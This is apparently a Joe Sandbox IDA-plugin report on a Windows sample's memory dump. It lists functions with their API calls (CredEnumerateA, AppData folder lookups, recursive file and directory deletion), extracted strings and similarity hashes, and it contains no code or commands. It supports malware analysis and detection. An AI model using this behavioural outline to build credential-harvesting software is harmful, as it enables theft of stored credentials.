Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: Directory$Create$File$Cpp_errorThrow_std::_$Find$AttributesFirstFolderPath$NextRemove
String ID: .eN$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$<`L
API String ID: 928721092-464024716
Opcode ID: 841a720ee7043de612e57055b18096d914c30f057173718006a4f1d9d203b9a1
Instruction ID: b9ae7635d6359a199b60bb2cdc10e760d63fa39c6c91f33a6c5bfa960192b3da
Opcode Fuzzy Hash: 841a720ee7043de612e57055b18096d914c30f057173718006a4f1d9d203b9a1
Instruction Fuzzy Hash: D3F3DCB4D0529DCBDB25CF98C991AEEBBB1BF08300F104199E949B7341DB346A85CF66

Uniqueness

Uniqueness Score: -1.00%

Function 00871A60 Relevance: 63.2, APIs: 2, Strings: 33, Instructions: 1975COMMON

Download Yara Rule

APIs

Part of subcall function 008C4050: GetFileAttributesA.KERNELBASE(?,?,?,00840224), ref: 008C40AC

Part of subcall function 008C4050: std::_Throw_Cpp_error.LIBCPMT ref: 008C40FF
Part of subcall function 008C4050: std::_Throw_Cpp_error.LIBCPMT ref: 008C4110

CredEnumerateA.ADVAPI32(00000000,00000001,00000000,?,?,?,?,?,?,?,?,?,00000004), ref: 0087351D
LocalFree.KERNELBASE(00000000,?,?,?,00000004), ref: 00873DF7

Strings

4oST, xrefs: 00872A5E
4oST, xrefs: 00873CC3
4oST, xrefs: 00872FE2
4oST, xrefs: 00873B65
WS{, xrefs: 00873C4B
4oST, xrefs: 008739DA
4oST, xrefs: 00872AAA
4oST, xrefs: 00872DB4
4oST, xrefs: 00872F96
4oST, xrefs: 00872E96
4oST, xrefs: 008736D2
4oST, xrefs: 008728B0
4oST, xrefs: 008720CA
4oST, xrefs: 00872B28
4oST, xrefs: 008730B2
4oST, xrefs: 00873386
4oST, xrefs: 0087275D
gUb, xrefs: 0087296A
4oST, xrefs: 008729D6
4oST, xrefs: 00873A2C
4oST, xrefs: 0087285E
4oST, xrefs: 00873686
gUb, xrefs: 00872A38
4oST, xrefs: 0087299C
cannot use operator[] with a string argument with , xrefs: 00873E34, 00873E8E
KGa, xrefs: 00873B39
4oST, xrefs: 00872EE8
WS{, xrefs: 008739AE
4oST, xrefs: 0087389E
4oST, xrefs: 008738F0
4oST, xrefs: 00872150
4oST, xrefs: 00873C77
4oST, xrefs: 00873BB7

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$AttributesCredEnumerateFileFreeLocal
String ID: 4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$KGa$WS{$WS{$cannot use operator[] with a string argument with $gUb$gUb
API String ID: 1490588210-977541193
Opcode ID: e09fde5d4b8087c3cd1bf5a3629ecfdf3393a54d436aebbaf2eac95c86d0b0fb
Instruction ID: 90e7e97dc918eafa61dc9483db39f9cd49de419abdd96a56fc1c4f3f5d95056d
Opcode Fuzzy Hash: e09fde5d4b8087c3cd1bf5a3629ecfdf3393a54d436aebbaf2eac95c86d0b0fb
Instruction Fuzzy Hash: 5333DDB4D052A9CBDB25CF68C894BEDBBB1BF08304F1081D9E949A7241DB349B85CF56

Uniqueness

Uniqueness Score: -1.00%

Function 008761D0 Relevance: 60.9, Strings: 47, Instructions: 2133COMMON

Download Yara Rule

Strings

g[}, xrefs: 00876C30
4oST, xrefs: 00877C76
4oST, xrefs: 0087664A
4oST, xrefs: 008783A5
4oST, xrefs: 00877AF5
4oST, xrefs: 008777A3
MXg, xrefs: 0087851B
4oST, xrefs: 00876460
4oST, xrefs: 00876D92
K@z, xrefs: 00877A7D
4oST, xrefs: 00876568
x<, xrefs: 00877210
4oST, xrefs: 00877417
4oST, xrefs: 00877AA9
4oST, xrefs: 00877CC2
4oST, xrefs: 008764B2
4oST, xrefs: 00876CB4
4oST, xrefs: 00876696
4oST, xrefs: 008770CC
UYw, xrefs: 0087832D
4oST, xrefs: 00877E92
4oST, xrefs: 008763A3
4oST, xrefs: 0087681C
nI?/, xrefs: 00877054
4oST, xrefs: 008775D1
4oST, xrefs: 008777EF
4oST, xrefs: 00878359
4oST, xrefs: 00876AA8
X[y, xrefs: 00878764
4oST, xrefs: 008787E5
cannot use operator[] with a string argument with , xrefs: 008789A3, 00878A39
4oST, xrefs: 00878151
4oST, xrefs: 0087761D
_Ys, xrefs: 0087739F
4oST, xrefs: 00878547
4oST, xrefs: 00877E46
HWg, xrefs: 00877E1A
4oST, xrefs: 008765BB
4oST, xrefs: 00876868
k@z, xrefs: 0087653C
4oST, xrefs: 00878593
4oST, xrefs: 008773CB
#iR@, xrefs: 00877206
4oST, xrefs: 00878793
cannot use push_back() with , xrefs: 00878851, 008789DA
4oST, xrefs: 00876A5C
4oST, xrefs: 00876D40

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID:
String ID: #iR@$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$HWg$K@z$MXg$UYw$X[y$_Ys$cannot use operator[] with a string argument with $cannot use push_back() with $g[}$k@z$nI?/$x<
API String ID: 0-1367517158
Opcode ID: 232e0996b2b4813b419db8b04c2be50b96fe0e865e56c0b9a6f0ac989de86f4d
Instruction ID: 423694b0cf271f3b6995055706865f3224db78feff5c3e5c0229167e8916534e
Opcode Fuzzy Hash: 232e0996b2b4813b419db8b04c2be50b96fe0e865e56c0b9a6f0ac989de86f4d
Instruction Fuzzy Hash: A64311B0D052A88BDB25CF28C894BEEBBB5BF49304F1481D9E44DA7242DB356B85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 008BD2B0 Relevance: 60.0, APIs: 17, Strings: 15, Instructions: 3987COMMON

Download Yara Rule

Strings

4oST, xrefs: 008C153D
POpq, xrefs: 008C0C75
4oST, xrefs: 008C0D13
z,^, xrefs: 008C09E2
4oST, xrefs: 008C14F7
4oST, xrefs: 008BFF1A
4oST, xrefs: 008C1657
6hR, xrefs: 008BF98E
4oST, xrefs: 008BFDDC
4oST, xrefs: 008C134F
combo, xrefs: 008BDCD4, 008BDD5E
>oST, xrefs: 008C17F3
1.9, xrefs: 008BDD77, 008BDE08
4oST, xrefs: 008C19DB
4oST, xrefs: 008C174E

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID:
String ID: 1.9$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$6hR$>oST$POpq$combo$z,^
API String ID: 0-1089530112
Opcode ID: 89fb70d7f99bf4e6465c34f09e66c1f6b1b8c9294035f986bc6733633c3fca23
Instruction ID: 22fa5904ef1de085b165b0507b6688b6f94495c57c351815c8b69f914f5b02bd
Opcode Fuzzy Hash: 89fb70d7f99bf4e6465c34f09e66c1f6b1b8c9294035f986bc6733633c3fca23
Instruction Fuzzy Hash: B1A3CDB4D05259CFDB25CF98C981AEEBBB1BF48300F244199E909B7341DB346A85CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00878A80 Relevance: 49.4, Strings: 38, Instructions: 1880COMMON

Download Yara Rule

Strings

]Xw, xrefs: 0087A2D7
4oST, xrefs: 0087A80F
4oST, xrefs: 0087A209
4oST, xrefs: 00878F1B
4oST, xrefs: 00878CFA
4oST, xrefs: 00878EC8
4oST, xrefs: 00879CAB
9lX, xrefs: 008795A0
4oST, xrefs: 0087A7C3
K@z, xrefs: 0087A797
4oST, xrefs: 00878E12
#iR@, xrefs: 00879B66
_C|, xrefs: 0087AA4C
]Xw, xrefs: 0087A1DD
4oST, xrefs: 008793BC
4oST, xrefs: 0087A34F
4oST, xrefs: 00879614
4oST, xrefs: 008791C8
4oST, xrefs: 0087917C
4oST, xrefs: 008796A0
4oST, xrefs: 0087A255
4oST, xrefs: 00878FAA
4oST, xrefs: 00878DC0
x<, xrefs: 00879B70
4oST, xrefs: 00879CFA
4oST, xrefs: 008796F2
4oST, xrefs: 00879A2C
4oST, xrefs: 0087A556
cannot use operator[] with a string argument with , xrefs: 0087ADBC, 0087AE73
Gr}, xrefs: 008799B4
4oST, xrefs: 00879408
4oST, xrefs: 00879EA9
4oST, xrefs: 00878FF6
cannot use push_back() with , xrefs: 0087AC0A, 0087AE0C
4oST, xrefs: 0087A303
4oST, xrefs: 0087A5A2
4oST, xrefs: 0087AB1F
k@z, xrefs: 00878E9C

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID:
String ID: #iR@$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$4oST$9lX$Gr}$K@z$]Xw$]Xw$_C|$cannot use operator[] with a string argument with $cannot use push_back() with $k@z$x<
API String ID: 0-653804416
Opcode ID: 5849815e8d641ecffeb23ace3da55649725e95cd99113c53d1e074a2681361f8
Instruction ID: 3033867ead725c869d4f48a9aa1fcc1977a118193f0505befaddbb4161f9b9cf
Opcode Fuzzy Hash: 5849815e8d641ecffeb23ace3da55649725e95cd99113c53d1e074a2681361f8
Instruction Fuzzy Hash: B42321B0D052688BDB25CF28C894BEDBBB5BF49304F1082D9E54DA7282DB346B85CF55

Uniqueness

Uniqueness Score: -1.00%

Function 008B49B0 Relevance: 15.1, APIs: 2, Strings: 3, Instructions: 6340COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,009380C7,000000FF), ref: 008B4A1C
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 008B4A43

Part of subcall function 008C4050: GetFileAttributesA.KERNELBASE(?,?,?,00840224), ref: 008C40AC

Part of subcall function 008C4050: std::_Throw_Cpp_error.LIBCPMT ref: 008C40FF
Part of subcall function 008C4050: std::_Throw_Cpp_error.LIBCPMT ref: 008C4110

Part of subcall function 008C3B20: FindFirstFileA.KERNELBASE(00000000,?,009664F8,?,?,?,\*.*,00000004), ref: 008C3C95

Part of subcall function 008C3B20: FindNextFileA.KERNELBASE(?,00000010), ref: 008C3E68
Part of subcall function 008C3B20: SetFileAttributesA.KERNELBASE(?,00000080), ref: 008C3E9D

Part of subcall function 008C3B20: RemoveDirectoryA.KERNELBASE(?), ref: 008C3EBB
Part of subcall function 008C3B20: std::_Throw_Cpp_error.LIBCPMT ref: 008C3F97
Part of subcall function 008C3B20: std::_Throw_Cpp_error.LIBCPMT ref: 008C3FA8

Strings

=lY, xrefs: 008B8FD5
4oST, xrefs: 008BB484
4oST, xrefs: 008BA158

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: Cpp_errorFileThrow_std::_$AttributesFindFolderPath$DirectoryFirstNextRemove
String ID: 4oST$4oST$=lY
API String ID: 3204276717-1766083014
Opcode ID: 8fa85aab7f1864777d1fbfaaf999028b5318c59b69ae092dc9b1b45f61f5853f
Instruction ID: 72f8a7fec88ba1d8ad52a38b1bc48c9b68b70a70c7334d10355bf453ea7b8836
Opcode Fuzzy Hash: 8fa85aab7f1864777d1fbfaaf999028b5318c59b69ae092dc9b1b45f61f5853f
Instruction Fuzzy Hash: F0F301B4D05299CBDB15CF98C991AEEBBB1BF08300F244199D949B7341DB306B85CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 008A4130 Relevance: 12.8, APIs: 3, Strings: 4, Instructions: 536
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 008A4401

Part of subcall function 00812524: __EH_prolog3.LIBCMT ref: 00812560

std::_Throw_Cpp_error.LIBCPMT ref: 008A4412

Part of subcall function 008C4870: __fread_nolock.LIBCMT ref: 008C49B9

DeleteFileA.KERNELBASE(?), ref: 008A449B

Strings

131, xrefs: 008A44E5, 008A44FE
combo, xrefs: 008A4521, 008A453A
4oST, xrefs: 008A477D
4oST, xrefs: 008A4239

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$DeleteFileH_prolog3__fread_nolock
String ID: 131$4oST$4oST$combo
API String ID: 3880692912-4163733096
Opcode ID: 7e46f1213aaadb24dec4fbc1ef4e54b9c01bf7c86489de4ffaab7593df612661
Instruction ID: b52f2d5493351dd96c3734508b787708a516538db8f2512c554b672cee387931
Opcode Fuzzy Hash: 7e46f1213aaadb24dec4fbc1ef4e54b9c01bf7c86489de4ffaab7593df612661
Instruction Fuzzy Hash: 4F329CB0D04248CFDF05CFA8C845BAEBBB1FF89304F244159E905AB382D775AA45DB92

Uniqueness

Uniqueness Score: -1.00%

Function 008C3B20 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 343
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNELBASE(00000000,?,009664F8,?,?,?,\*.*,00000004), ref: 008C3C95
FindNextFileA.KERNELBASE(?,00000010), ref: 008C3E68
SetFileAttributesA.KERNELBASE(?,00000080), ref: 008C3E9D
RemoveDirectoryA.KERNELBASE(?), ref: 008C3EBB
std::_Throw_Cpp_error.LIBCPMT ref: 008C3F97
std::_Throw_Cpp_error.LIBCPMT ref: 008C3FA8

Strings

\*.*, xrefs: 008C3BE4

Memory Dump Source

Source File: 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000009.00000002.3071977831.00000000007E0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072030296.0000000000962000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.0000000000967000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072315180.000000000096F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000974000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000B00000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000BC9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C09000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C11000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072417756.0000000000C20000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3072896101.0000000000C21000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073060707.0000000000DAD000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DAE000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073093292.0000000000DB6000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073205048.0000000000DB9000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3073237386.0000000000DBA000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7e0000_d361f35322.jbxd

Similarity

API ID: File$Cpp_errorFindThrow_std::_$AttributesDirectoryFirstNextRemove
String ID: \*.*
API String ID: 527909128-1173974218
Opcode ID: 4dfca41a53aabf591f5dbdf58e50bf337402301d17615841e60d767a16ff57b8
Instruction ID: 9e09822c9f74f3f7ccf0c30e36af50bbfd0b38afab17d1866d383a77bffff902
Opcode Fuzzy Hash: 4dfca41a53aabf591f5dbdf58e50bf337402301d17615841e60d767a16ff57b8
Instruction Fuzzy Hash: A0D1BE71D012489FDB10DBA8C948BEDBBB5FF45304F20825DE454BB292DB749B8ACB51

Uniqueness

Uniqueness Score: -1.00%

Function 008D8080 Relevance: 9.2, Strings: 7, Instructions: 484
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

BINARY, xrefs: 008D82A5, 008D82B4, 008D82CE, 008D830E, 008D8319, 008D8331, 008D8383, 008D8384
MATCH, xrefs: 008D8488, 008D8499, 008D84B9, 008D84BA, 008D84D0
automatic extension loading failed: %s, xrefs: 008D85AC
NOCASE, xrefs: 008D83AA
RTRIM, xrefs: 008D82E8
no such vfs: %s, xrefs: 008D8237
